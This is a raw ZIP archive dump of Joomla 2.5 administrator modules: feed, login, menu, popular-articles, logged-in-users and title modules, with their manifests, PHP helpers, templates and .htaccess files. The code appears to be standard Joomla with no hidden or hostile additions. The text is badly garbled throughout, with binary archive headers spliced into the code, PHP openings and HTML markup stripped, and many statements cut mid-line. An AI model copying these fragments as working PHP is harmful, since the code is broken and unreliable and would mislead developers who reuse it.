              PK@y>\F??#modules/mod_submenu/mod_submenu.xmlnuW+A mod_submenu Joomla! Project Feb 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_SUBMENU_XML_DESCRIPTION mod_submenu.php helper.php index.html tmpl en-GB.mod_submenu.ini en-GB.mod_submenu.sys.ini
              PK@y>\Sx#modules/mod_submenu/mod_submenu.phpnuW+Aget('layout', 'default')); } PK@y>\)modules/mod_submenu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V#modules/mod_submenu/tmpl/index.htmlnuW+A PK@y>\^T $modules/mod_submenu/tmpl/default.phpnuW+A PK@y>\)"modules/mod_submenu/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\B]umodules/mod_submenu/helper.phpnuW+AgetItems(); if (!is_array($list) || !count($list)) { return false; } return $list; } } PK@y>\Vmodules/mod_submenu/index.htmlnuW+A PK@y>\Vmodules/mod_feed/index.htmlnuW+A PK@y>\.vh!modules/mod_feed/tmpl/default.phpnuW+A
              PK@y>\V modules/mod_feed/tmpl/index.htmlnuW+A PK@y>\)modules/mod_feed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\u;JJmodules/mod_feed/helper.phpnuW+Aget('rssurl', ''); $rssitems = $params->get('rssitems', 5); $rssdesc = $params->get('rssdesc', 1); $rssimage = $params->get('rssimage', 1); $rssitemdesc = $params->get('rssitemdesc', 1); $words = $params->def('word_count', 0); $rsstitle = $params->get('rsstitle', 1); $rssrtl = $params->get('rssrtl', 0); $moduleclass_sfx = $params->get('moduleclass_sfx', ''); $filter = JFilterInput::getInstance(); // get RSS parsed object $cache_time = 0; if ($params->get('cache')) { /* * The cache_time will get fed into JCache to initiate the feed_parser cache group and eventually * JCacheStorage will multiply the value by 60 and use that for its lifetime. The only way to sync * the feed_parser cache (which caches with an empty dataset anyway) with the module cache is to * first divide the module's cache time by 60 then inject that forward, which once stored into the * JCacheStorage object, will be the correct value in minutes. */ $cache_time = $params->get('cache_time', 15) / 60; } $rssDoc = JFactory::getFeedParser($rssurl, $cache_time); if ($rssDoc != false) { // channel header and link $channel['title'] = $filter->clean($rssDoc->get_title()); $channel['link'] = $filter->clean($rssDoc->get_link()); $channel['description'] = $filter->clean($rssDoc->get_description()); // channel image if exists $image['url'] = $rssDoc->get_image_url(); $image['title'] = $rssDoc->get_image_title(); //image handling $iUrl = isset($image['url']) ? $image['url'] : null; $iTitle = isset($image['title']) ? $image['title'] : null; // items $items = $rssDoc->get_items(); // feed elements $items = array_slice($items, 0, $rssitems); ?> $actualItems) { $totalItems = $actualItems; } else { $totalItems = $setItems; } ?>
              <?php echo htmlspecialchars(@$iTitle); ?>
              • get_link())) { ?> get_title()); ?> clean(html_entity_decode($currItem->get_description(), ENT_COMPAT, 'UTF-8')); $text = str_replace(''', "'", $text); // word limit check if ($words) { $texts = explode(' ', $text); $count = count($texts); if ($count > $words) { $text = ''; for ($i = 0; $i < $words; $i ++) { $text .= ' '.$texts[$i]; } $text .= '...'; } } ?>
              \Ր_..modules/mod_feed/mod_feed.xmlnuW+A mod_feed Joomla! Project July 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_FEED_XML_DESCRIPTION mod_feed.php helper.php index.html tmpl en-GB.mod_feed.ini en-GB.mod_feed.sys.ini
              PK@y>\iimodules/mod_feed/mod_feed.phpnuW+Aget('rssurl', ''); $rssrtl = $params->get('rssrtl', 0); //check if cache diretory is writable as cache files will be created for the feed $cacheDir = JPATH_CACHE; if (!is_writable($cacheDir)) { echo '
              '; echo JText::_('MOD_FEED_ERR_CACHE'); echo '
              '; return; } //check if feed URL has been set if (empty ($rssurl)) { echo '
              '; echo JText::_('MOD_FEED_ERR_NO_URL'); echo '
              '; return; } require JModuleHelper::getLayoutPath('mod_feed'); PK@y>\)modules/mod_feed/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ :$$modules/mod_login/mod_login.phpnuW+Aget('layout', 'default')); PK@y>\|F6ggmodules/mod_login/mod_login.xmlnuW+A mod_login Joomla! Project March 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LOGIN_XML_DESCRIPTION mod_login.php helper.php index.html tmpl en-GB.mod_login.ini en-GB.mod_login.sys.ini
              PK@y>\)v߅]]modules/mod_login/helper.phpnuW+AtoString(array('query')); if($return != 'index.php?option=com_login'){ return base64_encode($return); } else { return base64_encode('index.php'); } } } PK@y>\)modules/mod_login/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_login/index.htmlnuW+A PK@y>\}r3ee"modules/mod_login/tmpl/default.phpnuW+A
              PK@y>\) modules/mod_login/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V!modules/mod_login/tmpl/index.htmlnuW+A PK@y>\) modules/mod_title/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Z*uee"modules/mod_title/tmpl/default.phpnuW+A PK@y>\V!modules/mod_title/tmpl/index.htmlnuW+A PK@y>\Q6(modules/mod_title/mod_title.xmlnuW+A mod_title Joomla! Project Nov 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_TITLE_XML_DESCRIPTION mod_title.php index.html tmpl en-GB.mod_title.ini en-GB.mod_title.sys.ini
              PK@y>\dmodules/mod_title/mod_title.phpnuW+AJComponentTitle)) { $title = JFactory::getApplication()->JComponentTitle; } require JModuleHelper::getLayoutPath('mod_title', $params->get('layout', 'default')); PK@y>\)modules/mod_title/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_title/index.htmlnuW+A PK@y>\>$modules/mod_popular/tmpl/default.phpnuW+A $item) : ?>
              checked_out) : ?> editor, $item->checked_out_time); ?> link) :?> title, ENT_QUOTES, 'UTF-8');?> title, ENT_QUOTES, 'UTF-8'); endif; ?> created, 'Y-m-d H:i:s'); ?> hits;?>

              PK@y>\V#modules/mod_popular/tmpl/index.htmlnuW+A PK@y>\)"modules/mod_popular/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_popular/index.htmlnuW+A PK@y>\1 modules/mod_popular/helper.phpnuW+A true)); // Set List SELECT $model->setState('list.select', 'a.id, a.title, a.checked_out, a.checked_out_time, ' . ' a.created, a.hits'); // Set Ordering filter $model->setState('list.ordering', 'a.hits'); $model->setState('list.direction', 'DESC'); // Set Category Filter $categoryId = $params->get('catid'); if (is_numeric($categoryId)){ $model->setState('filter.category_id', $categoryId); } // Set User Filter. $userId = $user->get('id'); switch ($params->get('user_id')) { case 'by_me': $model->setState('filter.author_id', $userId); break; case 'not_me': $model->setState('filter.author_id', $userId); $model->setState('filter.author_id.include', false); break; } // Set the Start and Limit $model->setState('list.start', 0); $model->setState('list.limit', $params->get('count', 5)); $items = $model->getItems(); if ($error = $model->getError()) { JError::raiseError(500, $error); return false; } // Set the links foreach ($items as &$item) { if ($user->authorise('core.edit', 'com_content.article.'.$item->id)){ $item->link = JRoute::_('index.php?option=com_content&task=article.edit&id='.$item->id); } else { $item->link = ''; } } return $items; } /** * Get the alternate title for the module * * @param JObject The module parameters. * @return string The alternate title for the module. */ public static function getTitle($params) { $who = $params->get('user_id'); $catid = (int)$params->get('catid'); if ($catid) { $category = JCategories::getInstance('Content')->get($catid); if ($category) { $title = $category->title; } else { $title = JText::_('MOD_POPULAR_UNEXISTING'); } } else { $title = ''; } return JText::plural('MOD_POPULAR_TITLE'.($catid ? "_CATEGORY" : '').($who!='0' ? "_$who" : ''), (int)$params->get('count'), $title); } } PK@y>\ #modules/mod_popular/mod_popular.xmlnuW+A mod_popular Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_POPULAR_XML_DESCRIPTION mod_popular.php helper.php index.html tmpl en-GB.mod_popular.ini en-GB.mod_popular.sys.ini
              PK@y>\#modules/mod_popular/mod_popular.phpnuW+Aget('layout', 'default')); PK@y>\)modules/mod_popular/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+FKKmodules/mod_logged/helper.phpnuW+AgetQuery(true); $query->select('s.time, s.client_id, u.id, u.name, u.username'); $query->from('#__session AS s'); $query->leftJoin('#__users AS u ON s.userid = u.id'); $query->where('s.guest = 0'); $db->setQuery($query, 0, $params->get('count', 5)); $results = $db->loadObjectList(); // Check for database errors if ($error = $db->getErrorMsg()) { JError::raiseError(500, $error); return false; }; foreach($results as $k => $result) { $results[$k]->logoutLink = ''; if($user->authorise('core.manage', 'com_users')) { $results[$k]->editLink = JRoute::_('index.php?option=com_users&task=user.edit&id='.$result->id); $results[$k]->logoutLink = JRoute::_('index.php?option=com_login&task=logout&uid='.$result->id .'&'. JSession::getFormToken() .'=1'); } if($params->get('name', 1) == 0) { $results[$k]->name = $results[$k]->username; } } return $results; } /** * Get the alternate title for the module * * @param JObject The module parameters. * @return string The alternate title for the module. */ public static function getTitle($params) { return JText::plural('MOD_LOGGED_TITLE', $params->get('count')); } } PK@y>\ _  !modules/mod_logged/mod_logged.xmlnuW+A mod_logged Joomla! Project January 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LOGGED_XML_DESCRIPTION mod_logged.php index.html tmpl en-GB.mod_logged.ini en-GB.mod_logged.sys.ini
              PK@y>\粣!modules/mod_logged/mod_logged.phpnuW+Aget('layout', 'default')); PK@y>\)modules/mod_logged/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)!modules/mod_logged/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V"modules/mod_logged/tmpl/index.htmlnuW+A PK@y>\ G#modules/mod_logged/tmpl/default.phpnuW+A
              get('name', 1)) { echo JText::_('MOD_LOGGED_NAME'); } else { echo JText::_('JGLOBAL_USERNAME'); }; ?>
              editLink)) :?> name;?> name; endif; ?> client_id) { echo JText::_('JADMINISTRATOR'); } else { echo JText::_('JSITE'); }?> id; ?> time, 'Y-m-d H:i:s'); ?> client_id == 0) :?>
              PK@y>\Vmodules/mod_logged/index.htmlnuW+A PK@y>\)modules/mod_menu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\, ֨00)modules/mod_menu/tmpl/default_enabled.phpnuW+Aget('shownew', 1); $showhelp = $params->get('showhelp', 1); $user = JFactory::getUser(); $lang = JFactory::getLanguage(); // // Site SubMenu // $menu->addChild( new JMenuNode(JText::_('JSITE'), '#'), true ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_CONTROL_PANEL'), 'index.php', 'class:cpanel') ); $menu->addSeparator(); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_USER_PROFILE'), 'index.php?option=com_admin&task=profile.edit&id='.$user->id, 'class:profile') ); $menu->addSeparator(); if ($user->authorise('core.admin')) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_CONFIGURATION'), 'index.php?option=com_config', 'class:config')); $menu->addSeparator(); } $chm = $user->authorise('core.manage', 'com_checkin'); $cam = $user->authorise('core.manage', 'com_cache'); if ($chm || $cam ) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MAINTENANCE'), 'index.php?option=com_checkin', 'class:maintenance'), true ); if ($chm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_GLOBAL_CHECKIN'), 'index.php?option=com_checkin', 'class:checkin')); $menu->addSeparator(); } if ($cam) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_CLEAR_CACHE'), 'index.php?option=com_cache', 'class:clear')); $menu->addChild(new JMenuNode(JText::_('MOD_MENU_PURGE_EXPIRED_CACHE'), 'index.php?option=com_cache&view=purge', 'class:purge')); } $menu->getParent(); } $menu->addSeparator(); if ($user->authorise('core.admin')) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_SYSTEM_INFORMATION'), 'index.php?option=com_admin&view=sysinfo', 'class:info') ); $menu->addSeparator(); } $menu->addChild( new JMenuNode(JText::_('MOD_MENU_LOGOUT'), JRoute::_('index.php?option=com_login&task=logout&'. JSession::getFormToken() .'=1'), 'class:logout') ); $menu->getParent(); // // Users Submenu // if ($user->authorise('core.manage', 'com_users')) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_USERS'), '#'), true ); $createUser = $shownew && $user->authorise('core.create', 'com_users'); $createGrp = $user->authorise('core.admin', 'com_users'); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_USER_MANAGER'), 'index.php?option=com_users&view=users', 'class:user'), $createUser ); if ($createUser) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_ADD_USER'), 'index.php?option=com_users&task=user.add', 'class:newarticle') ); $menu->getParent(); } if ($createGrp) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_GROUPS'), 'index.php?option=com_users&view=groups', 'class:groups'), $createUser ); if ($createUser) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_ADD_GROUP'), 'index.php?option=com_users&task=group.add', 'class:newarticle') ); $menu->getParent(); } $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_LEVELS'), 'index.php?option=com_users&view=levels', 'class:levels'), $createUser ); if ($createUser) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_ADD_LEVEL'), 'index.php?option=com_users&task=level.add', 'class:newarticle') ); $menu->getParent(); } } $menu->addSeparator(); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_NOTES'), 'index.php?option=com_users&view=notes', 'class:user-note'), $createUser ); if ($createUser) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_ADD_NOTE'), 'index.php?option=com_users&task=note.add', 'class:newarticle') ); $menu->getParent(); } $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_USERS_NOTE_CATEGORIES'), 'index.php?option=com_categories&view=categories&extension=com_users', 'class:category'), $createUser ); if ($createUser) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_NEW_CATEGORY'), 'index.php?option=com_categories&task=category.add&extension=com_users', 'class:newarticle') ); $menu->getParent(); } $menu->addSeparator(); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MASS_MAIL_USERS'), 'index.php?option=com_users&view=mail', 'class:massmail') ); $menu->getParent(); } // // Menus Submenu // if ($user->authorise('core.manage', 'com_menus')) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MENUS'), '#'), true ); $createMenu = $shownew && $user->authorise('core.create', 'com_menus'); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MENU_MANAGER'), 'index.php?option=com_menus&view=menus', 'class:menumgr'), $createMenu ); if ($createMenu) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MENU_MANAGER_NEW_MENU'), 'index.php?option=com_menus&view=menu&layout=edit', 'class:newarticle') ); $menu->getParent(); } $menu->addSeparator(); // Menu Types foreach (ModMenuHelper::getMenus() as $menuType) { $alt = '*' .$menuType->sef. '*'; if ($menuType->home == 0) { $titleicon = ''; } elseif ($menuType->home == 1 && $menuType->language == '*') { $titleicon = ' '.JHtml::_('image', 'menu/icon-16-default.png', '*', array('title' => JText::_('MOD_MENU_HOME_DEFAULT')), true).''; } elseif ($menuType->home > 1) { $titleicon = ' '.JHtml::_('image', 'menu/icon-16-language.png', $menuType->home, array('title' => JText::_('MOD_MENU_HOME_MULTIPLE')), true).''; } else { $image = JHtml::_('image', 'mod_languages/'.$menuType->image.'.gif', NULL, NULL, true, true); if (!$image) { $titleicon = ' '.JHtml::_('image', 'menu/icon-16-language.png', $alt, array('title' => $menuType->title_native), true).''; } else { $titleicon = ' '.JHtml::_('image', 'mod_languages/'.$menuType->image.'.gif', $alt, array('title'=>$menuType->title_native), true).''; } } $menu->addChild( new JMenuNode($menuType->title, 'index.php?option=com_menus&view=items&menutype='.$menuType->menutype, 'class:menu', null, null, $titleicon), $createMenu ); if ($createMenu) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM'), 'index.php?option=com_menus&view=item&layout=edit&menutype='.$menuType->menutype, 'class:newarticle') ); $menu->getParent(); } } $menu->getParent(); } // // Content Submenu // if ($user->authorise('core.manage', 'com_content')) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT'), '#'), true ); $createContent = $shownew && $user->authorise('core.create', 'com_content'); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_ARTICLE_MANAGER'), 'index.php?option=com_content', 'class:article'), $createContent ); if ($createContent) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_NEW_ARTICLE'), 'index.php?option=com_content&task=article.add', 'class:newarticle') ); $menu->getParent(); } $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_CATEGORY_MANAGER'), 'index.php?option=com_categories&extension=com_content', 'class:category'), $createContent ); if ($createContent) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_NEW_CATEGORY'), 'index.php?option=com_categories&task=category.add&extension=com_content', 'class:newarticle') ); $menu->getParent(); } $menu->addChild( new JMenuNode(JText::_('MOD_MENU_COM_CONTENT_FEATURED'), 'index.php?option=com_content&view=featured', 'class:featured') ); $menu->addSeparator(); if ($user->authorise('core.manage', 'com_media')) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_MEDIA_MANAGER'), 'index.php?option=com_media', 'class:media')); } $menu->getParent(); } // // Components Submenu // // Get the authorised components and sub-menus. $components = ModMenuHelper::getComponents( true ); // Check if there are any components, otherwise, don't render the menu if ($components) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_COMPONENTS'), '#'), true); foreach ($components as &$component) { if (!empty($component->submenu)) { // This component has a db driven submenu. $menu->addChild(new JMenuNode($component->text, $component->link, $component->img), true); foreach ($component->submenu as $sub) { $menu->addChild(new JMenuNode($sub->text, $sub->link, $sub->img)); } $menu->getParent(); } else { $menu->addChild(new JMenuNode($component->text, $component->link, $component->img)); } } $menu->getParent(); } // // Extensions Submenu // $im = $user->authorise('core.manage', 'com_installer'); $mm = $user->authorise('core.manage', 'com_modules'); $pm = $user->authorise('core.manage', 'com_plugins'); $tm = $user->authorise('core.manage', 'com_templates'); $lm = $user->authorise('core.manage', 'com_languages'); if ($im || $mm || $pm || $tm || $lm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_EXTENSIONS'), '#'), true); if ($im) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_EXTENSION_MANAGER'), 'index.php?option=com_installer', 'class:install')); $menu->addSeparator(); } if ($mm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_MODULE_MANAGER'), 'index.php?option=com_modules', 'class:module')); } if ($pm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_PLUGIN_MANAGER'), 'index.php?option=com_plugins', 'class:plugin')); } if ($tm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER'), 'index.php?option=com_templates', 'class:themes')); } if ($lm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER'), 'index.php?option=com_languages', 'class:language')); } $menu->getParent(); } // // Help Submenu // if ($showhelp == 1) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP'), '#'), true ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_JOOMLA'), 'index.php?option=com_admin&view=help', 'class:help') ); $menu->addSeparator(); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM'), 'http://forum.joomla.org', 'class:help-forum', false, '_blank') ); if ($forum_url = $params->get('forum_url')) { $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM'), $forum_url, 'class:help-forum', false, '_blank') ); } $debug = $lang->setDebug(false); if ($lang->hasKey('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE') && JText::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE') != '') { $forum_url = 'http://forum.joomla.org/viewforum.php?f=' . (int) JText::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE'); $lang->setDebug($debug); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM'), $forum_url, 'class:help-forum', false, '_blank') ); } $lang->setDebug($debug); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_DOCUMENTATION'), 'http://docs.joomla.org', 'class:help-docs', false, '_blank') ); $menu->addSeparator(); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_LINKS'), '#', 'class:weblinks'), true ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_EXTENSIONS'), 'http://extensions.joomla.org', 'class:help-jed', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_TRANSLATIONS'), 'http://community.joomla.org/translations.html', 'class:help-trans', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_RESOURCES'), 'http://resources.joomla.org', 'class:help-jrd', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_COMMUNITY'), 'http://community.joomla.org', 'class:help-community', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_SECURITY'), 'http://developer.joomla.org/security.html', 'class:help-security', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_DEVELOPER'), 'http://developer.joomla.org', 'class:help-dev', false, '_blank') ); $menu->addChild( new JMenuNode(JText::_('MOD_MENU_HELP_SHOP'), 'http://shop.joomla.org', 'class:help-shop', false, '_blank') ); $menu->getParent(); $menu->getParent(); } PK@y>\a]!modules/mod_menu/tmpl/default.phpnuW+ArenderMenu('menu', $enabled ? '' : 'disabled'); PK@y>\)modules/mod_menu/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V modules/mod_menu/tmpl/index.htmlnuW+A PK@y>\as*modules/mod_menu/tmpl/default_disabled.phpnuW+Aget('showhelp', 1); // // Site SubMenu // $menu->addChild(new JMenuNode(JText::_('JSITE'), null, 'disabled')); // // Users Submenu // if ($user->authorise('core.manage', 'com_users')) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_COM_USERS'), null, 'disabled')); } // // Menus Submenu // if ($user->authorise('core.manage', 'com_menus')) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_MENUS'), null, 'disabled')); } // // Content Submenu // if ($user->authorise('core.manage', 'com_content')) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_COM_CONTENT'), null, 'disabled')); } // // Components Submenu // // Get the authorised components and sub-menus. $components = ModMenuHelper::getComponents( true ); // Check if there are any components, otherwise, don't display the components menu item if ($components) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_COMPONENTS'), null, 'disabled')); } // // Extensions Submenu // $im = $user->authorise('core.manage', 'com_installer'); $mm = $user->authorise('core.manage', 'com_modules'); $pm = $user->authorise('core.manage', 'com_plugins'); $tm = $user->authorise('core.manage', 'com_templates'); $lm = $user->authorise('core.manage', 'com_languages'); if ($im || $mm || $pm || $tm || $lm) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_EXTENSIONS_EXTENSIONS'), null, 'disabled')); } // // Help Submenu // if ($showhelp == 1) { $menu->addChild(new JMenuNode(JText::_('MOD_MENU_HELP'), null, 'disabled')); } PK@y>\Vmodules/mod_menu/index.htmlnuW+A PK@y>\N OOmodules/mod_menu/helper.phpnuW+AgetQuery(true); $query->select('a.*, SUM(b.home) AS home'); $query->from('#__menu_types AS a'); $query->leftJoin('#__menu AS b ON b.menutype = a.menutype AND b.home != 0'); $query->select('b.language'); $query->leftJoin('#__languages AS l ON l.lang_code = language'); $query->select('l.image'); $query->select('l.sef'); $query->select('l.title_native'); $query->where('(b.client_id = 0 OR b.client_id IS NULL)'); //sqlsrv change $query->group('a.id, a.menutype, a.description, a.title, b.menutype,b.language,l.image,l.sef,l.title_native'); $db->setQuery($query); $result = $db->loadObjectList(); return $result; } /** * Get a list of the authorised, non-special components to display in the components menu. * * @param boolean $authCheck An optional switch to turn off the auth check (to support custom layouts 'grey out' behaviour). * * @return array A nest array of component objects and submenus * @since 1.6 */ public static function getComponents($authCheck = true) { // Initialise variables. $lang = JFactory::getLanguage(); $user = JFactory::getUser(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $result = array(); $langs = array(); // Prepare the query. $query->select('m.id, m.title, m.alias, m.link, m.parent_id, m.img, e.element'); $query->from('#__menu AS m'); // Filter on the enabled states. $query->leftJoin('#__extensions AS e ON m.component_id = e.extension_id'); $query->where('m.client_id = 1'); $query->where('e.enabled = 1'); $query->where('m.id > 1'); // Order by lft. $query->order('m.lft'); $db->setQuery($query); // component list $components = $db->loadObjectList(); // Parse the list of extensions. foreach ($components as &$component) { // Trim the menu link. $component->link = trim($component->link); if ($component->parent_id == 1) { // Only add this top level if it is authorised and enabled. if ($authCheck == false || ($authCheck && $user->authorise('core.manage', $component->element))) { // Root level. $result[$component->id] = $component; if (!isset($result[$component->id]->submenu)) { $result[$component->id]->submenu = array(); } // If the root menu link is empty, add it in. if (empty($component->link)) { $component->link = 'index.php?option='.$component->element; } if (!empty($component->element)) { // Load the core file then // Load extension-local file. $lang->load($component->element . '.sys', JPATH_BASE, null, false, true) || $lang->load($component->element . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component->element, null, false, true); } $component->text = $lang->hasKey($component->title) ? JText::_($component->title) : $component->alias; } } else { // Sub-menu level. if (isset($result[$component->parent_id])) { // Add the submenu link if it is defined. if (isset($result[$component->parent_id]->submenu) && !empty($component->link)) { $component->text = $lang->hasKey($component->title) ? JText::_($component->title) : $component->alias; $result[$component->parent_id]->submenu[] = &$component; } } } } $result = JArrayHelper::sortObjects($result, 'text', 1, true, $lang->getLocale()); return $result; } } PK@y>\J  modules/mod_menu/mod_menu.phpnuW+Aget('layout', 'default')); PK@y>\émodules/mod_menu/mod_menu.xmlnuW+A mod_menu Joomla! Project March 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_MENU_XML_DESCRIPTION mod_menu.php menu.php helper.php index.html tmpl en-GB.mod_menu.ini en-GB.mod_menu.sys.ini
              PK@y>\lj00modules/mod_menu/menu.phpnuW+A_root = new JMenuNode('ROOT'); $this->_current = & $this->_root; } function addSeparator() { $this->addChild(new JMenuNode(null, null, 'separator', false)); } function renderMenu($id = 'menu', $class = '') { $depth = 1; if (!empty($id)) { $id='id="'.$id.'"'; } if (!empty($class)) { $class='class="'.$class.'"'; } /* * Recurse through children if they exist */ while ($this->_current->hasChildren()) { echo "
                \n"; foreach ($this->_current->getChildren() as $child) { $this->_current = & $child; $this->renderLevel($depth++); } echo "
              \n"; } if ($this->_css) { // Add style to document head $doc = JFactory::getDocument(); $doc->addStyleDeclaration($this->_css); } } function renderLevel($depth) { /* * Build the CSS class suffix */ $class = ''; if ($this->_current->hasChildren()) { $class = ' class="node"'; } if ($this->_current->class == 'separator') { $class = ' class="separator"'; } if ($this->_current->class == 'disabled') { $class = ' class="disabled"'; } /* * Print the item */ echo ""; /* * Print a link if it exists */ $linkClass = ''; if ($this->_current->link != null) { $linkClass = $this->getIconClass($this->_current->class); if (!empty($linkClass)) { $linkClass = ' class="'.$linkClass.'"'; } } if ($this->_current->link != null && $this->_current->target != null) { echo "_current->link."\" target=\"".$this->_current->target."\" >".$this->_current->title.""; } elseif ($this->_current->link != null && $this->_current->target == null) { echo "_current->link."\">".$this->_current->title.""; } elseif ($this->_current->title != null) { echo "".$this->_current->title."\n"; } else { echo ""; } /* * Recurse through children if they exist */ while ($this->_current->hasChildren()) { if ($this->_current->class) { $id = ''; if (!empty($this->_current->id)) { $id = ' id="menu-'.strtolower($this->_current->id).'"'; } echo ''."\n"; } else { echo '
                '."\n"; } foreach ($this->_current->getChildren() as $child) { $this->_current = & $child; $this->renderLevel($depth++); } echo "
              \n"; } echo "\n"; } /** * Method to get the CSS class name for an icon identifier or create one if * a custom image path is passed as the identifier * * @access public * @param string $identifier Icon identification string * @return string CSS class name * @since 1.5 */ function getIconClass($identifier) { static $classes; // Initialise the known classes array if it does not exist if (!is_array($classes)) { $classes = array(); } /* * If we don't already know about the class... build it and mark it * known so we don't have to build it again */ if (!isset($classes[$identifier])) { if (substr($identifier, 0, 6) == 'class:') { // We were passed a class name $class = substr($identifier, 6); $classes[$identifier] = "icon-16-$class"; } else { if ($identifier == null) { return null; } // Build the CSS class for the icon $class = preg_replace('#\.[^.]*$#', '', basename($identifier)); $class = preg_replace('#\.\.[^A-Za-z0-9\.\_\- ]#', '', $class); $this->_css .= "\n.icon-16-$class {\n" . "\tbackground: url($identifier) no-repeat;\n" . "}\n"; $classes[$identifier] = "icon-16-$class"; } } return $classes[$identifier]; } } /** * @package Joomla.Administrator * @subpackage mod_menu */ class JMenuNode extends JNode { /** * Node Title */ public $title = null; /** * Node Id */ public $id = null; /** * Node Link */ public $link = null; /** * Link Target */ public $target = null; /** * CSS Class for node */ public $class = null; /** * Active Node? */ public $active = false; public function __construct($title, 